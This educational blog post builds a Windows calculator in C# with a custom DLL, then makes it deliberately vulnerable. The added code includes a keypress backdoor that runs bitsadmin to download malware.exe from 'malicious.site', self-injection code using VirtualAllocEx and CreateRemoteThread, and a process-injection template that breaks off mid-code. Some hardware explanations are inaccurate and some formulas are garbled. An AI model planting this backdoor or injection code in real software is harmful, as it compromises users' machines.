Damn Vulnerable Windows Application in a Nutshell

Disclaimer:
The code and techniques provided in this blog are intended for educational purposes only. They are designed to help individuals understand the underlying principles of cybersecurity, ethical hacking, and software development. Under no circumstances should the information or code be used for unauthorized access, illegal hacking, or any activities that violate the law.

The author and publisher do not endorse or condone any illegal activities, and they will not be held responsible for any misuse of the information provided. By reading this article, you agree to use the information solely for lawful and ethical purposes.

Imagine it’s the late 1980s, and Microsoft is trying to make computing accessible to everyday users. Back then, computers were mostly operated using command-line interfaces, which required users to type specific commands to interact with the system. The idea of using a mouse to click on icons and open windows was revolutionary. Microsoft released Windows 1.0 in 1985, marking the beginning of the Windows operating system as we know it today. However, it wasn’t until Windows 3.x that things really took off, offering developers a platform to build rich graphical applications.

The excitement around Windows created an ecosystem where software developers began pushing the limits of what an application could do — whether it was creating word processors, games, or utilities. Over time, as Windows evolved, so did the tools and frameworks that developers relied on. From the early days of Win16 API and Win32 API to the introduction of .NET Framework, Microsoft steadily improved the development experience, making it easier for developers to build robust, performant, and visually appealing applications.

Now, as we stand in the era of .NET 6 and WinUI, the story continues, with Windows applications becoming more cloud-connected, performance-optimized, and touch-friendly, all while retaining backward compatibility with older platforms. But, no matter what era you’re building in, a structured approach and understanding of the system’s fundamentals remain critical. Let’s dive into the technical details and the foundation of Windows application development.

Historical Perspective on Windows Application Development:

Windows application development has evolved significantly since the early days. Here’s a timeline:

• 1985 — Windows 1.0: The first graphical OS shell was released by Microsoft, but it had limited capabilities.
• 1992 — Windows 3.x & Win16 API: The Win16 API introduced a structured way to develop applications with GUI features, such as menus, dialogs, and file management.
• 1995 — Windows 95 & Win32 API: The introduction of the Win32 API allowed developers to build more complex, stable, and performant applications. This era also saw the rise of the Component Object Model (COM) for reusable software components.
• 2000s — .NET Framework & Windows Forms: Microsoft introduced the .NET Framework and Windows Forms, allowing for easier development using managed languages like C#. This decoupled developers from low-level API calls and memory management.
• 2006 — Windows Presentation Foundation (WPF): Introduced to modernize desktop apps with a focus on a richer UI (vector-based rendering, advanced data binding, and more).
• 2015 — Universal Windows Platform (UWP): UWP allows apps to run across multiple device types with a single codebase.
• Present — .NET 5/6/7 & WinUI 3: .NET has evolved into a unified platform with modern APIs for cross-device and cloud-centric applications. WinUI 3 is now the latest framework for building modern, touch-friendly Windows apps.

Pre-Requisites for Designing a Windows Application:

Before diving into development, understanding the core concepts and planning effectively is crucial. Here’s what you need:

A. Planning the Application (Blue Print):

• Purpose and Scope: What is the application’s core function? Is it a desktop, service, or a UWP app? Who is the target audience?
• UI/UX Design: For user-facing apps, designing an intuitive UI is critical. This includes defining the navigation, interactions, and visual hierarchy.
• Architecture Design: Choose a design pattern, e.g., Model-View-Controller (MVC) or Model-View-ViewModel (MVVM), especially for WPF/UWP apps. Separation of concerns ensures scalability and maintainability.

B. Choosing the Right Development Framework:

• Win32 API: If performance is a priority and low-level system access is required.
• .NET Framework/.NET Core/.NET 6: If you need to build modern apps quickly using a managed language (C#).
• WPF or UWP: For apps that require a modern, touch-friendly UI.
• Windows Forms: For simpler, legacy desktop applications.

Memory Management & Requirements:

Memory Requirements: Estimate the memory footprint of the application early on. Understand the type of data (e.g., media-heavy apps will require more memory).

Memory Management: Windows application development uses both managed and unmanaged memory models:

• Managed Memory (.NET): The .NET runtime handles memory allocation and garbage collection automatically. Developers must optimize for object creation/destruction to avoid memory leaks.
• Unmanaged Memory (C/C++): In Win32/C++ apps, developers must manage memory allocation (e.g., malloc, free) and ensure there are no memory leaks. Tools like Valgrind or Visual Studio Profiler can help.

Virtual Memory and Paging: Windows uses virtual memory, which means each application has its own address space, allowing it to work efficiently without colliding with others.

Memory Pooling: To improve performance, Windows has pools of memory for different categories of system resources (e.g., non-paged pool for kernel objects).

Function Calls & Windows API:

Win32 API Function Calls: Win32 APIs are the heart of Windows application development at the low level. They are called using system-level libraries (like kernel32.dll, user32.dll, etc.). Functions include:

• CreateWindow: Creates a window.
• MessageBox: Displays a message box.
• OpenProcess: Opens a handle to a process.
• ReadFile / WriteFile: Read/write data from/to files.

Function calls are made directly to the Windows API via header files (windows.h).

.NET Function Calls:

In .NET, Windows API calls are abstracted through classes and objects. For example, file handling is done using FileStream and StreamReader rather than directly calling the API.

Dynamic Link Libraries (DLLs):

• What are DLLs?: Dynamic Link Libraries allow code reusability. A DLL contains functions, classes, variables, or resources like icons or bitmaps that other applications can use.
• Shared Code: Instead of linking every app with the same code (static linking), DLLs allow multiple applications to load and use the same library dynamically at runtime.
• Creating DLLs: In C/C++, DLLs are compiled using tools like cl.exe (Microsoft compiler) and can be loaded dynamically in an app using LoadLibrary.
• .NET Assemblies: In .NET, the equivalent of DLLs are assemblies, which are compiled to Intermediate Language (IL) and loaded into the Common Language Runtime (CLR).

Key DLLs in Windows Development:

• kernel32.dll: Contains core Windows functions like memory management, input/output operations, and interrupt handling.
• user32.dll: Manages windows, controls, and user interactions.
• gdi32.dll: Graphics Device Interface, handles low-level rendering.
• advapi32.dll: Advanced API services, such as security and registry access.

Pre-Build Configuration:

Before you write any code, you’ll need to:

• Development Environment: Set up Visual Studio or another IDE with the appropriate SDKs for your framework (.NET SDK, UWP SDK, or Windows SDK).
• Third-Party Libraries: Use NuGet for .NET projects to manage dependencies or link third-party libraries for native C++ development.
• Version Control: Set up version control (Git) and CI/CD pipelines if working in a team environment.

Compilation and Build Process:

• Compiling Native Code: Native C++ applications are compiled into machine code directly using compilers like cl.exe.
• Compiling .NET Code: In .NET, code is first compiled into Intermediate Language (IL). During execution, the Just-In-Time (JIT) compiler converts it to native machine code.
• Executable (.exe) and DLL (.dll): The build process generates the final .exe or .dll files, packaged with necessary libraries and assets.
• Debug vs Release Modes: Always develop and test in debug mode, but release versions should be optimized and stripped of debugging symbols.

Memory Profiling and Optimization:

• Tools: Use tools like Visual Studio Profiler, PerfView, or dotMemory to profile memory usage, check for memory leaks, and optimize performance.
• Garbage Collection (GC): In .NET, ensure you optimize object lifetime and avoid too many GC cycles. For native apps, manually deallocate memory and resources.

Handling Errors & Exceptions:

• Try-Catch in .NET: Use structured exception handling to catch and manage runtime errors.
• SEH (Structured Exception Handling) in Win32: For C/C++ apps, Windows provides SEH for trapping hardware and OS-level exceptions.

Packaging and Deployment:

• MSI and EXE: Traditional Windows apps are deployed using .exe or .msi installers.
• MSIX for Modern Apps: UWP apps and modern Windows apps use the MSIX package format, which provides better security, packaging, and distribution options.
• Deployment Tools: ClickOnce, Inno Setup, or WiX are common tools used for creating installation packages.

Building a Sample Calculator Application for Win OS

Let’s break down the development process for the Calculator application and cover every technical detail as we discussed, along with how the system handles the backend processes.

1. Planning and Blue Print:

The first step is to outline the functionality:

• AppName: Calculator
• Purpose: Perform basic and complex mathematical operations (addition, subtraction, multiplication, division, exponents, roots, etc.).
• Target Audience: General users who need a fast, reliable, and user-friendly calculator.
• Scope: Desktop application with a simple GUI and a backend capable of handling floating-point operations and complex arithmetic.

2. Choosing the Framework:

For simplicity and GUI, we can use Windows Forms with C# in .NET. This will allow us to quickly build the interface and handle the backend logic with .NET’s extensive libraries.

• Why .NET?
• Managed memory, abstracting low-level memory allocation/deallocation.
• Built-in handling of system APIs.
• Access to floating-point calculations, input parsing, and precision handling.

3. Designing the User Interface (UI/UX):

The design of the calculator will involve:

• Buttons for numbers (0–9), operations (+, -, *, /), and advanced operations (√, ^).
• Textbox to display inputs and results.

Using Windows Forms, we can place these elements on a form. Below is a basic layout for the interface:

using System;
using System.Windows.Forms;

public class Calculator : Form
{
    private TextBox display;
    private Button[] numberButtons;
    private Button addButton, subtractButton, multiplyButton, divideButton, equalsButton, clearButton;

    public Calculator()
    {
        // Initialize the calculator interface
        display = new TextBox { ReadOnly = true, Location = new System.Drawing.Point(10, 10), Width = 260 };
        this.Controls.Add(display);

        numberButtons = new Button[10];
        for (int i = 0; i < 10; i++)
        {
            numberButtons[i] = new Button { Text = i.ToString(), Width = 50, Height = 50 };
            numberButtons[i].Location = new System.Drawing.Point(10 + (i % 3) * 60, 50 + (i / 3) * 60);
            numberButtons[i].Click += (sender, e) => display.Text += ((Button)sender).Text;
            this.Controls.Add(numberButtons[i]);
        }

        // Operator buttons and clear
        addButton = new Button { Text = "+", Width = 50, Height = 50, Location = new System.Drawing.Point(190, 50) };
        subtractButton = new Button { Text = "-", Width = 50, Height = 50, Location = new System.Drawing.Point(190, 110) };
        multiplyButton = new Button { Text = "*", Width = 50, Height = 50, Location = new System.Drawing.Point(190, 170) };
        divideButton = new Button { Text = "/", Width = 50, Height = 50, Location = new System.Drawing.Point(190, 230) };
        equalsButton = new Button { Text = "=", Width = 50, Height = 50, Location = new System.Drawing.Point(190, 290) };
        clearButton = new Button { Text = "C", Width = 50, Height = 50, Location = new System.Drawing.Point(190, 350) };

        // Event handlers
        addButton.Click += OperatorClick;
        subtractButton.Click += OperatorClick;
        multiplyButton.Click += OperatorClick;
        divideButton.Click += OperatorClick;
        equalsButton.Click += EqualsClick;
        clearButton.Click += (sender, e) => display.Clear();

        this.Controls.Add(addButton);
        this.Controls.Add(subtractButton);
        this.Controls.Add(multiplyButton);
        this.Controls.Add(divideButton);
        this.Controls.Add(equalsButton);
        this.Controls.Add(clearButton);
    }

    // Event handler logic for operator buttons
    private void OperatorClick(object sender, EventArgs e)
    {
        display.Text += " " + ((Button)sender).Text + " ";
    }

    // Event handler for equals button
    private void EqualsClick(object sender, EventArgs e)
    {
        try
        {
            // Evaluating the mathematical expression
            var result = Evaluate(display.Text);
            display.Text = result.ToString();
        }
        catch
        {
            display.Text = "Error";
        }
    }

    // Simple expression evaluator (could be replaced by more complex logic)
    private double Evaluate(string expression)
    {
        // This is a basic implementation and can be extended for more complex operations
        var dataTable = new System.Data.DataTable();
        return Convert.ToDouble(dataTable.Compute(expression, null));
    }

    [STAThread]
    public static void Main()
    {
        Application.Run(new Calculator());
    }
}

4. Memory Management:

• Managed Memory: The .NET runtime handles the memory. As users input values or perform calculations, objects like strings, integers, and floating-point numbers are stored in the heap, while temporary variables (within functions) are allocated in the stack.
• Garbage Collection: As objects are no longer needed (like past inputs), the .NET garbage collector will free up memory automatically.

5. Function Calls and Windows API:

In this application:

• Event Handling: User clicks on buttons are handled by C# event handlers (Click event).
• Built-in .NET Libraries: The expression evaluation uses a basic implementation of the .NET System.Data.DataTable class for expression parsing.
• Function Calls: When a user presses =, the Evaluate method computes the result and updates the display.

6. Dynamic Link Libraries (DLLs):

.NET assemblies handle the majority of the application’s work, including:

• mscorlib.dll: This core assembly provides the basic types like String, Double, and methods like Convert.ToDouble.
• System.Windows.Forms.dll: Handles the graphical interface, such as creating buttons and handling events.

7. System-Level Handling by the OS:

When the app runs, Windows manages several processes:

• Process Creation: The OS creates a process for the application and allocates virtual memory.
• API Calls: When buttons are clicked, the .NET Framework manages the user interaction and relays it to the OS. For example:
• CreateWindowEx (user32.dll): Creates the window.
• SendMessage (user32.dll): Handles button click events.
• Floating-Point Calculations: Windows relies on the CPU’s FPU (Floating-Point Unit) for arithmetic calculations. When the user performs complex calculations (like 2 ^ 8), this is processed at the hardware level.

8. Memory Allocation and Handling:

Let’s consider a complex calculation like: ((12 * 3) + (45 / 5)) ^ 2.

Here’s what happens:

• RAM: The variables (12, 3, 45, 5) and intermediate results are stored temporarily in RAM.
• CPU Registers: For the actual computation, values are loaded into CPU registers (for example, eax, ebx registers in x86 architecture).
• Stack: Temporary results and return addresses from function calls (like the result of 12 * 3) are stored on the stack.
• Heap: Larger objects (like the display text or the evaluated string) are stored in the heap.

9. How Syscalls, Native APIs, and Drivers Work:

At various stages of interaction:

Syscalls: When the user clicks a button or the app updates the display, the OS makes system calls to interact with the hardware (keyboard, display).

• NtUserMessageCall (native API): Sends messages related to user input to the app.
• NtGdiFlushUserBatch: Flushes graphical rendering calls.

Drivers: The GPU driver might be invoked if rendering of the UI requires hardware acceleration.

10. Memory Flow:

• ROM: Contains the BIOS, which booted the OS, and the low-level firmware.
• RAM: The entire calculator app, along with its data, runs here.
• Cache: During arithmetic operations, results may be stored temporarily in the CPU cache for faster retrieval.
• Virtual Memory (VM): If RAM runs low, Windows will page parts of the app to the disk.

Let’s elevate the complexity of the calculator application to make it more realistic and prepare it for future deep dives into potential attack vectors.

We’ll add:

• Custom DLLs for advanced calculations (e.g., trigonometry or matrix operations) to demonstrate dynamic linking.
• Function calls to these DLLs.
• Discussion on how the app interacts with system libraries, handling paths, memory allocation, and API calls.

Here’s how we’ll structure it:

Step 1: Custom DLL for Advanced Operations

• We’ll create a custom DLL (AdvancedCalc.dll) to handle operations like square roots, exponents, and trigonometric functions.
• The DLL will expose several functions to perform these operations, and the main app will call these functions dynamically using LoadLibrary and GetProcAddress.

Step 2: Main Application

• The main calculator app will still handle basic arithmetic operations (addition, subtraction, etc.), but it will also load the custom DLL for advanced operations.
• We’ll include explicit calls to system-level DLLs (like kernel32.dll and user32.dll) to demonstrate how it interacts with Windows.

Custom DLL (AdvancedCalc.dll)

Here’s a sample C++ code to create the custom DLL:

// AdvancedCalc.h
#ifndef ADVANCEDCALC_H
#define ADVANCEDCALC_H

#ifdef ADVANCEDCALC_EXPORTS
#define ADVANCEDCALC_API __declspec(dllexport)
#else
#define ADVANCEDCALC_API __declspec(dllimport)
#endif

extern "C" ADVANCEDCALC_API double Power(double base, double exponent);
extern "C" ADVANCEDCALC_API double SquareRoot(double value);
extern "C" ADVANCEDCALC_API double Sine(double angle);
extern "C" ADVANCEDCALC_API double Cosine(double angle);

#endif

// AdvancedCalc.cpp
#include "AdvancedCalc.h"
#include <cmath>

extern "C" ADVANCEDCALC_API double Power(double base, double exponent) {
    return pow(base, exponent);
}

extern "C" ADVANCEDCALC_API double SquareRoot(double value) {
    return sqrt(value);
}

extern "C" ADVANCEDCALC_API double Sine(double angle) {
    return sin(angle);
}

extern "C" ADVANCEDCALC_API double Cosine(double angle) {
    return cos(angle);
}

This DLL will be compiled into AdvancedCalc.dll and placed in a known path like C:\Program Files\CalculatorApp\.

Main Calculator Application (C#)

Now let’s focus on the advanced calculator app written in C#. It will dynamically load AdvancedCalc.dll and call its functions. It will also utilize Windows system APIs to interact with the GUI, memory, and DLL loading.

using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Reflection;
using System.IO;

namespace AdvancedCalculatorApp
{
    public partial class CalculatorForm : Form
    {
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr LoadLibrary(string dllToLoad);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool FreeLibrary(IntPtr hModule);

        private delegate double AdvancedOperationDelegate(double a, double b);

        private IntPtr _dllHandle = IntPtr.Zero;

        public CalculatorForm()
        {
            InitializeComponent();
            LoadAdvancedOperationsDLL();
        }

        private void LoadAdvancedOperationsDLL()
        {
            // Loading the custom DLL dynamically
            string dllPath = @"C:\Program Files\CalculatorApp\AdvancedCalc.dll";
            if (File.Exists(dllPath))
            {
                _dllHandle = LoadLibrary(dllPath);
                if (_dllHandle == IntPtr.Zero)
                {
                    throw new Exception("Could not load AdvancedCalc.dll.");
                }
            }
        }

        private double CallAdvancedOperation(string operation, double a, double b)
        {
            IntPtr functionAddress = GetProcAddress(_dllHandle, operation);
            if (functionAddress == IntPtr.Zero)
            {
                throw new Exception($"Function {operation} not found in DLL.");
            }

            var operationDelegate = (AdvancedOperationDelegate)Marshal.GetDelegateForFunctionPointer(functionAddress, typeof(AdvancedOperationDelegate));
            return operationDelegate(a, b);
        }

        private void btnPower_Click(object sender, EventArgs e)
        {
            double baseNum = Convert.ToDouble(txtInput1.Text);
            double exponent = Convert.ToDouble(txtInput2.Text);
            double result = CallAdvancedOperation("Power", baseNum, exponent);
            txtResult.Text = result.ToString();
        }

        private void btnSqrt_Click(object sender, EventArgs e)
        {
            double value = Convert.ToDouble(txtInput1.Text);
            double result = CallAdvancedOperation("SquareRoot", value, 0);
            txtResult.Text = result.ToString();
        }

        // Destructor: Free the loaded DLL
        ~CalculatorForm()
        {
            if (_dllHandle != IntPtr.Zero)
            {
                FreeLibrary(_dllHandle);
            }
        }
    }
}

What’s Happening in the Code:

Dynamic Loading of DLL:

• The app dynamically loads AdvancedCalc.dll using LoadLibrary.
• Function pointers to the Power, SquareRoot, etc., are obtained via GetProcAddress.
• This allows us to use these advanced operations in the calculator without compiling them directly into the app.

System-Level API Calls:

• LoadLibrary and GetProcAddress are calls to kernel32.dll, a core system library for interacting with Windows at a low level.
• FreeLibrary is used to unload the DLL when the application is closed.

Custom DLL Path:

• The DLL is expected to reside in C:\Program Files\CalculatorApp\AdvancedCalc.dll. This is a typical path used for installed applications.

Delegates for Function Calls:

• The app uses function pointers (via delegates in C#) to call the custom DLL’s functions. This simulates real-world DLL interaction, as opposed to statically linking functions.

Step 3: How the Application Works Behind the Scenes

Now, let’s look at how the OS and hardware manage the application:

DLL and System Interaction:

• Kernel32.dll: The core library is responsible for functions like loading and unloading DLLs (LoadLibrary, FreeLibrary).
• User32.dll: Manages GUI-related tasks such as button clicks and form management.
• AdvancedCalc.dll: This is our custom DLL that is dynamically loaded at runtime. It can be replaced, making it a potential entry point for DLL Injection or DLL Hijacking.

Function Calls and Execution:

• Main Thread: When the user clicks the Power or SquareRoot button, the app retrieves the corresponding function pointer from the DLL and invokes the function.
• System Calls: When loading the DLL or accessing system resources, system calls are made to the Windows kernel to request memory allocation, I/O operations, or CPU resources.
• Floating-Point Operations: The CPU’s Floating-Point Unit (FPU) is utilized for complex calculations like exponents and trigonometric functions.

Memory Handling:

• Stack: The input values and function pointers are stored on the stack during the function calls.
• Heap: Larger objects like the GUI components and dynamically loaded libraries are allocated on the heap.
• Virtual Memory (VM): Windows manages the memory through virtual memory mechanisms. If the app grows in size, it may page parts of the process to disk.
• Registers: The CPU’s registers temporarily store data during calculations (e.g., when calling the Sine or Power functions).

System and API Calls:

• LoadLibrary (kernel32.dll): Loads the AdvancedCalc.dll dynamically.
• GetProcAddress (kernel32.dll): Retrieves the address of the required function within the DLL.
• SendMessage (user32.dll): Sends the user’s button-click events to the main window procedure.

Let’s break down the backend operations during the calculation phase of the Advanced Calculator Application, focusing on a complex calculation and how various system components and resources interact in the context of an x86 CPU architecture.

Scenario: Complex Calculation

Let’s consider a complex calculation performed by the calculator

1. User Interaction

When a user inputs this calculation and clicks the equals button:

• The event triggers the EqualsClick method in the application, which parses the expression and calls necessary functions.

2. Function Calls and DLL Interactions

Function Flow

• The application will break down the calculation into smaller parts:
• Compute 12×312 \times 312×3
• Compute 45/545 / 545/5
• Add the two results.
• Call the SquareRoot function from the AdvancedCalc.dll.
• Call the Power function to square the result.
• Call the Sine function to compute sin⁡(30∘)\sin(30^\circ)sin(30∘).
• Finally, add the squared result to the sine result.

APIs and DLLs Used

Custom DLLs:

• AdvancedCalc.dll for mathematical operations.

System DLLs:

• kernel32.dll for memory management (e.g., LoadLibrary, GetProcAddress).
• user32.dll for handling GUI interactions (button clicks).

3. Execution of the Calculation

When the calculation is executed, here’s a detailed look at what happens under the hood:

Step-by-Step Execution

Memory Allocation:

• The application uses the heap for dynamic memory allocation (e.g., storing intermediate results).
• Local variables and function parameters are stored on the stack.

Loading the DLL:

• The LoadLibrary call fetches AdvancedCalc.dll into the process's address space, creating a mapping in RAM.

Function Calls:

The application calls CallAdvancedOperation("Power", result1, 2):

• Syscall: The OS maps this call to the appropriate DLL function.
• Native API Call: GetProcAddress locates the function's address in the DLL.

Calculations:

For each operation, such as multiplication or division:

• The CPU registers are used to hold the operands temporarily. For example, eax might hold the result of 12 * 3, while ebx holds 45 / 5.
• Operations are executed by the ALU (Arithmetic Logic Unit) within the CPU.

Example Calculation Breakdown:

Compute 12×3;

• Load 12 into eax
• Load 3 into ebx
• ALU performs multiplication: eax = eax * ebx

Compute 45/5

• Load 45 into ecx
• Load 5 into edx
• ALU performs division: ecx = ecx / edx

Add the two results:

• Result of multiplication and division are loaded into registers and added: eax = eax + ecx.

4. Advanced Operations

Square Root Calculation:

• Call to SquareRoot function in AdvancedCalc.dll.
• The function takes the intermediate result and performs the square root operation: Uses the FPU to compute the square root, updating the registers accordingly.

Sine Calculation:

• Call to Sine function, converting degrees to radians.
• Uses the FPU again to compute the sine.

5. Memory Management

Stack and Heap:

• Stack: Temporary results of operations are stored here. Once the functions return, the stack unwinds, and memory is deallocated automatically.
• Heap: Any large data structures (if used) would be allocated from the heap. They need explicit deallocation, but since we’re using simple primitives, the stack suffices.

6. ROM, RAM, VM, and Cache Usage

ROM: The OS and its core components reside in ROM, providing firmware instructions.

RAM:

• Holds the entire application, including the loaded DLLs, input data, and intermediate results.

Virtual Memory (VM):

• If the calculator runs out of physical RAM, Windows will page some of the inactive portions to disk, utilizing the page file.

Cache:

• The CPU cache (L1, L2, L3) will store frequently accessed data and instructions, significantly speeding up operations.
• For example, once a calculation is performed, the result may be cached for reuse.

7. Registers and Execution Context

Registers hold data during operations. Typical usage:

• eax: for multiplication results.
• ebx: for division results.
• ecx: for final addition results.
• Floating-point registers (xmm): for handling floating-point arithmetic in advanced calculations.

Conclusion: Calculation Flow in the OS Context

• The application utilizes both managed and unmanaged code, with the Windows OS facilitating communication between user inputs and the CPU.
• Memory is dynamically managed, and calculations are performed using a mix of stack and heap, with careful attention to resource cleanup.
• The interaction of various components (DLLs, APIs, and system calls) showcases a typical application flow in a Windows environment.

Exploring and Exploiting Vulnerabilities

We’re going to analyze how the Calculator Application can be vulnerable to certain attacks, particularly focusing on:

1. Keypress Exploit (Spawning a Suspicious BITS Job)
2. PE Injection
3. DLL Sideloading

Here’s the modified application code we discussed above, we have made this code so that it can be vulnerable to the attacks we mentioned above.

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.IO;
using System.Reflection;

namespace VulnerableCalculatorApp
{
    public partial class CalculatorForm : Form
    {
        private int keyPressCounter = 0;

        // External DLL (legitimate or sideloaded)
        [DllImport("AdvancedCalc.dll", EntryPoint = "Power")]
        public static extern double Power(double baseValue, double exponent);

        public CalculatorForm()
        {
            InitializeComponent();
            this.KeyPress += new KeyPressEventHandler(OnKeyPress);
        }

        // Vulnerable Keypress Logic (Trigger BITS job after pressing '5' five times)
        private void OnKeyPress(object sender, KeyPressEventArgs e)
        {
            if (e.KeyChar == '5')
            {
                keyPressCounter++;

                if (keyPressCounter == 5)
                {
                    // Vulnerability: Execute a BITS job command
                    System.Diagnostics.Process.Start("cmd.exe", "/c bitsadmin /transfer myJob http://malicious.site/malware.exe C:\\Temp\\malware.exe");
                    keyPressCounter = 0;
                }
            }
            else
            {
                keyPressCounter = 0;  // Reset if any other key is pressed
            }
        }

        // Complex calculation that triggers PE Injection
        private void PerformComplexCalculation(double number)
        {
            double result = Power(number, 10);  // Using the sideloaded DLL to calculate power

            if (result > 1000)
            {
                // Trigger PE Injection if result exceeds threshold
                PerformPEInjection();
            }

            MessageBox.Show("Calculation Result: " + result.ToString());
        }

        // Vulnerable PE Injection code
        private void PerformPEInjection()
        {
            // Targeting the current process (self-injection for demonstration)
            IntPtr hProcess = Process.GetCurrentProcess().Handle;

            // Allocate memory in the current process
            IntPtr pRemoteBuffer = VirtualAllocEx(hProcess, IntPtr.Zero, (UIntPtr)4096, AllocationType.Commit, MemoryProtection.ExecuteReadWrite);

            // Shellcode payload (dummy payload for demo)
            byte[] shellcode = new byte[] { 0x90, 0x90, 0x90, 0x90 };  // NOP instructions, placeholder for actual shellcode

            // Write the shellcode into the allocated memory
            WriteProcessMemory(hProcess, pRemoteBuffer, shellcode, (UIntPtr)shellcode.Length, out IntPtr _);

            // Create a new thread in the current process to execute the shellcode
            CreateRemoteThread(hProcess, IntPtr.Zero, 0, pRemoteBuffer, IntPtr.Zero, 0, IntPtr.Zero);
        }

        // Importing necessary Windows API functions for PE Injection
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UIntPtr nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        // Enumeration for memory allocation types
        [Flags]
        public enum AllocationType
        {
            Commit = 0x1000,
            Reserve = 0x2000,
            Decommit = 0x4000,
        }

        // Enumeration for memory protection types
        [Flags]
        public enum MemoryProtection
        {
            ExecuteReadWrite = 0x40,
        }
    }
}

Key Modifications for Vulnerabilities

1. Keypress Exploit

• Code Location: The keypress logic is in the OnKeyPress method.
• Vulnerability: After pressing the key ‘5’ five times, the code launches a BITS job that downloads a malicious file. This is done using the System.Diagnostics.Process.Start method, which spawns a command line that runs the bitsadmin command to download a file.

2. PE Injection

• Code Location: The PerformPEInjection method is triggered if the result of a complex calculation exceeds a certain threshold. The application dynamically allocates memory, writes shellcode into the process, and then creates a remote thread to execute that shellcode.
• Vulnerability: The PE injection uses Windows API calls (VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread) to inject shellcode into the application’s own memory space.

3. DLL Sideloading

• Code Location: The DLL sideloading vulnerability is integrated through the use of the AdvancedCalc.dll in the Power method.
• Vulnerability: The application does not verify the integrity of the DLL, allowing attackers to replace AdvancedCalc.dll with a malicious version. The malicious DLL can contain backdoor functionality that executes arbitrary code while still performing the expected calculations.

How the Calculator Application Now Becomes Vulnerable

1. Keypress Exploit:

• Why it’s vulnerable: The code allows multiple consecutive key presses to trigger arbitrary system commands, such as the BITS job to download malware. This input validation flaw creates a backdoor for command execution based on user input.

2. PE Injection:

• Why it’s vulnerable: The application allocates executable memory and writes arbitrary shellcode into the process’s memory space. This lack of memory protection (like DEP or ASLR) allows attackers to inject malicious code into the Calculator process and execute it.

3. DLL Sideloading:

• Why it’s vulnerable: The application doesn’t validate or verify the DLL it loads. Attackers can replace the legitimate AdvancedCalc.dll with a malicious one. When the application calls Power, it unknowingly runs the attacker’s malicious code while still performing legitimate calculations to avoid suspicion.

1. Keypress Exploit: Spawning a Suspicious BITS Job

Attack Scenario:

Let’s say if the user presses the key ‘5’ five times, a malicious event can be triggered that spawns a Command Line running a suspicious BITS (Background Intelligent Transfer Service) job to download a malicious file. The vulnerability could arise from improper input validation and a hidden backdoor in the code.

Vulnerability in Application:

• Weak Input Validation: The application does not properly handle repeated key presses, allowing an attacker to inject commands based on a specific pattern of inputs.
• Hardcoded Backdoor: A backdoor can be hidden in the code, where a specific sequence of keystrokes triggers the system to execute commands.

Code Vulnerability Example:

private void OnKeyPress(object sender, KeyPressEventArgs e)
{
    // Vulnerable to multiple key presses with no rate-limiting or validation
    if (e.KeyChar == '5')
    {
        keyPressCounter++;
        
        // Trigger malicious code when '5' is pressed five times
        if (keyPressCounter == 5)
        {
            // Malicious BITS job to download a payload
            System.Diagnostics.Process.Start("cmd.exe", "/c bitsadmin /transfer myJob http://malicious.site/malware.exe C:\\Temp\\malware.exe");
            keyPressCounter = 0;  // Reset counter
        }
    }
    else
    {
        keyPressCounter = 0;
    }
}

Explanation:

Event Handler (OnKeyPress):

• This method is triggered whenever a key is pressed in the calculator app. The KeyPressEventArgs (e) contains information about which key was pressed.

Key Check (e.KeyChar == '5'):

• This checks if the key pressed is ‘5’. If so, the keyPressCounter is incremented. This counter keeps track of how many times the '5' key has been pressed.

Counter Trigger:

• When keyPressCounter reaches 5 (meaning '5' has been pressed five times consecutively), it triggers the next block of code, which is malicious.

Malicious Command (System.Diagnostics.Process.Start):

• This line opens a command prompt (cmd.exe) and runs a BITS job using bitsadmin.
• The /c flag ensures that the command runs and the command prompt closes immediately.
• BITS job: Downloads a file (malware.exe) from a remote server (malicious.site) and saves it in C:\Temp\malware.exe.

Counter Reset (keyPressCounter = 0):

• Once the malicious command is executed, the counter is reset to avoid triggering the exploit repeatedly.

How the Attack Works:

• The user presses ‘5’ five times.
• The application’s event handler triggers the BITS job to download a file from a malicious URL, executing silently without the user’s knowledge.

Practical Demonstration:

• The BITS job is started using bitsadmin to download and execute a malicious payload (in this case, a malware executable).

Mitigation:

• Implement proper input validation and rate-limiting to prevent unintended behavior based on repeated keystrokes.
• Remove any backdoor functionality.

2. PE Injection Attack

Attack Scenario:

An attacker could perform PE (Portable Executable) Injection by injecting malicious code into the running Calculator process. This could be achieved by allocating memory in the process’s address space and executing a malicious payload.

Vulnerability in Application:

• Dynamic Loading of DLLs: The application uses LoadLibrary to dynamically load the AdvancedCalc.dll. This can be exploited by injecting a different DLL or executable code into the process.
• Weak Memory Protection: If an attacker can gain access to the process’s memory, they can inject code into the application.

Code Example for PE Injection:

In this demonstration, we’ll show how an attacker could inject code into the running calculator process using VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread.

#include <windows.h>
#include <stdio.h>

int main()
{
    // Handle to the target process (e.g., Calculator's process ID)
    DWORD processId = 1234;  // You need to find the actual process ID
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);

    if (hProcess == NULL)
    {
        printf("Failed to open target process.\n");
        return 1;
    }

    // Allocate memory in the target process for the malicious code
    LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // Malicious payload to be injected (shellcode)
    char shellcode[] = "\x90\x90\x90...";  // Example shellcode

    // Write the payload to the allocated memory
    WriteProcessMemory(hProcess, pRemoteBuffer, shellcode, sizeof(shellcode), NULL);

    // Create a remote thread in the target process to execute the payload
